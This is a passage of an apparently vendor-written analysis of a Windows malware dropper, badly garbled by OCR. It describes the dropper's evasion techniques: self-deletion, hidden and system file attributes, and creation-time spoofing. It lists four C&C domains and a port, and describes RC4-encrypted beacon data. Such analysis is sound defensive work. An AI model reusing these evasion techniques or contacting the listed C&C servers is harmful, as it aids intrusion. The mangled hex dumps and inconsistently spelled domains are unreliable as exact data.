0D07]=772F67C3 (kernel3Z CopyFileW)

The malware deletes the current instance of the malware and it deletes zone identifier from
the self copy dropped in %APPDATA%:

FFS5 1BODOOOO CATT, DWORD PTR S55: [EBPHDIB]

IDIB]1=77300F82

UNICCDE "E:)\

|kernElSZ_DeletEFilEH

(kernel3Z DeleteFileW)

The malware sets dropped file property as FILE_ATTRIBUTE_HIDDEN
and FILE_ ATTRIBUTE_SYSTEM. The malware steals creation time from advapi32.dll and
mark the same creation time for the dropped file to avoid being red flagged from any of the

550832770ab73e75labe8BbEdecleffeidoeal _.exe bin"

security providers.

C&C Communication

The malware contains 4 C&C servers:

o ostgotahusbilsuthynring.de
e autoland-Is.de
e autogalerieseud.de
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e autohuas-e-c.de

The malware calculate CRC32 checksum for one of the C&C server before communicating,
to make sure that the C&C has not been modified by the researcher and if the C&C is
modified malware terminates the execution. The malware prepares post data which
includes the variant id, unique identifier for the victim’s machine, computer name and
random OxA1 bytes. The data is then encrypted by RC4 algorithm and sent to its C&C
server:

ro Fiddler Web Debugger —
File Edit Rules Tools View Help GET /book ;:3 Geokdge

() 4 Replay %~ b Go . Stream Decode | Keep: All sessions + &5 Any Process 43 Find [ Save i @ & Browse - @Clear Cache T TetWizard | [ Tearoff | MSDM Search.. @ X =
# Result Protocol Host URL Body Process Com m :e}é Inspectors ‘ } AutoResponder | _ﬁ Composer I E Log I [ Filters I_— Tlme\inel

ostgotahusbilsuthynring. de: 57086 Headers | TextView | WebFarms iIHex\ﬂew | Auth Cookies | Raw | 1sOM | XML |

& 502 HTTP autoland-s.de:57086  [sxs/ 512 explorer:2540 S0 4F 53 54 20 68 74 74 70 3A 2F 2F €F 73 74 €7  DPOST http://ostg B
A1 s02  HTTR autogalerieseud.de: 57086 fsxs/ 512 explorer:2540 6F 74 €1 &8 75 T3 €2 €3 6C T3 75 74 €8 79 6E 72  otshusbilsuthynr
8 & : iy ] &5 €E 65 31 35 37 30 38 36 ZF 73 78 73  ing.de:5708&/sxs
& 1s 502 HTTR autohuas-e-c.de:57086  [sxs/ 512 explorer:2540 i e it i F STTD;LL Lo
I €5 EE 7 70 €5 3 20 70 €C €3 €3  ent-Type: applic
61 74 78 % 1797 € 6F 72 60  ation/x-www-form
2D g4 €5 & 41 €3 €2 -urlencoded..heec
[ €5 T4 0D OB 5 €5 72 €5 ept: */*. Refere
72 3A 2o 2F ZF 7 75 €3 €4  r: http://rgfued
€3 ZE €3 & 35 73 41 €7 65 c.com/. _User-ige
€E 74 3R 2 &C &C ZE 30 20 nt: Mozilla/s4.0
) IE &3 &F & &2 &C 4D 53 45  (compatible; MSI
45 20 38 2 &9 €E 73 20 E 8.0; Windows N
54 20 36 2 7z &3 74 2F T 6.1
2E 30 3B 2 3z 3B 45 54 D5 2
43 4C 52 2 35 30 7 3B 20 CIR Z.0.5
4E 45 54 2 33 ZE 30 37 HET CLR
33 3B 20 43 4C 5 IE 3; .NET CLR 3.0.
33 30 37 &5 &4 43 30723; Media Cen
74 &5 Tz 4E ter BC 6.0; .NET

4z 4.0C; .NET4_0E;

50 InfoPath.3)..Pro
3L 20 4B xy-Comnection: K
6E 74 €5  eep-Alive..Conte
35 0D O  nt-Length: 125..
€8 75 73 Host: ostgotahus
ZE €4 &5 bilsuthynring.de
0D OA 2F BE ED A4 21 0A  :5708&._../,im!.
BS EO F2 DS SA AE 83 72  &3@6U..AadUze.r
S8 E4 C9 2D 2F 39 32 34 & _XEE—/9.:
CA 75 SE 8D 23 EE D3 DB . (b&Eu. #1060
BC C1 FO DF 53 D7 8F F& / WhABSx
B2 71 1% 55 FF El 58 47
95

= Al Processes Smb http:/fostgotahusbilsuthynring. de: 57086 /sxs/

BB4CZ4 78 MOV ECK, DWCRD FTR S55: [ESP+78] bytes offset
BD9424 84000000 |LEA EDX,DWCRD DPIR S5: [ESP+84]

&R 04 EUSH 4 key size

50 PUSH ERX bytes size
CT784Z24 BCO00000 MOV DWORD BTR S5: [ESP+8C] ,184ZBED4 BC4 key

EE ET0S0000 CRLL <RC4>

ai 20 PUSH 20
=RC4d>

Hex dump
E& 07\[42 33 46 32 33 43 32 41 38 46 42
. 36 32 [4s 41 34
Varient ID 44 33 &8 T a5
000
o0

J o
(X 1 i

1 KL

Unique Identifier

T
]

==

B
w oK

Random Generated
Bytes OxAl

Computer Name
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At the time of analysis all 4 C&C server were not responding but digging deep into the
malware code reveals that malware is expecting response from C&C server which should
contain Variant ID (Ox7EG6), Plugin size and plugin modules.

Unavailability of the archive file in any of the popular threat intelligence sharing portals like
the VirusTotal and the ReversingLabs indicates its uniqueness and limited distribution:

& - C @ virustotal.com/gui/search/afbe63b5a16ecab0be379f05d14009f50b8ae187f9%d 1b8f6d0d9922d65ch9f7 2w w 0O e

Z afbe63b5a166ca60be3d7 9f05014009750b8as187f9ed 18fEA0d9922d65ch9f7] Q o~ 8s (D) SRSV Sign up )

— ooo

No matches found

Are you looking for advanced malware searching capabilities? VT Intelligence can help, learn more.

@

Evidence of detection by RTDMI ™ engine can be seen below in the Capture ATP report for
this file:

SONICWALL" | capture ATP Report

May 30, 1:43pm
downloaded a malicious file. The endpoint may need to be cleaned.

Source Destination
[crsmaam] » > seamm

A 527kb
Zip archive data 3 6 2 1 1

Zahlungserinnerung-BV-Green-Golfm zip virus scanners

reputation databases detonation engines live detonations
Why live detonations were needed Summary of actions once detonated See everything the engines saw
. Engine Alpha cgistries  processes mutexes  functions  connections i 12
[ smAsH RTDMI) ‘ 125 ‘ ‘ | ‘ ‘ ‘ ‘ | [: U
Embedded code found
Not a known reputable vendor
Not a known reputable domain
M;mnma results inconclusive. File
HN@WUSBBZZS Serial Number|
SHA176:7RB? BHpieRS 107ec2cc01aacEbATc06 298120 Capture ATP Version 2.5.8
SHA256: afbeb3bba’ f9ed

Report Generated on Mon, 30 May 2022 08:13:48 GMT
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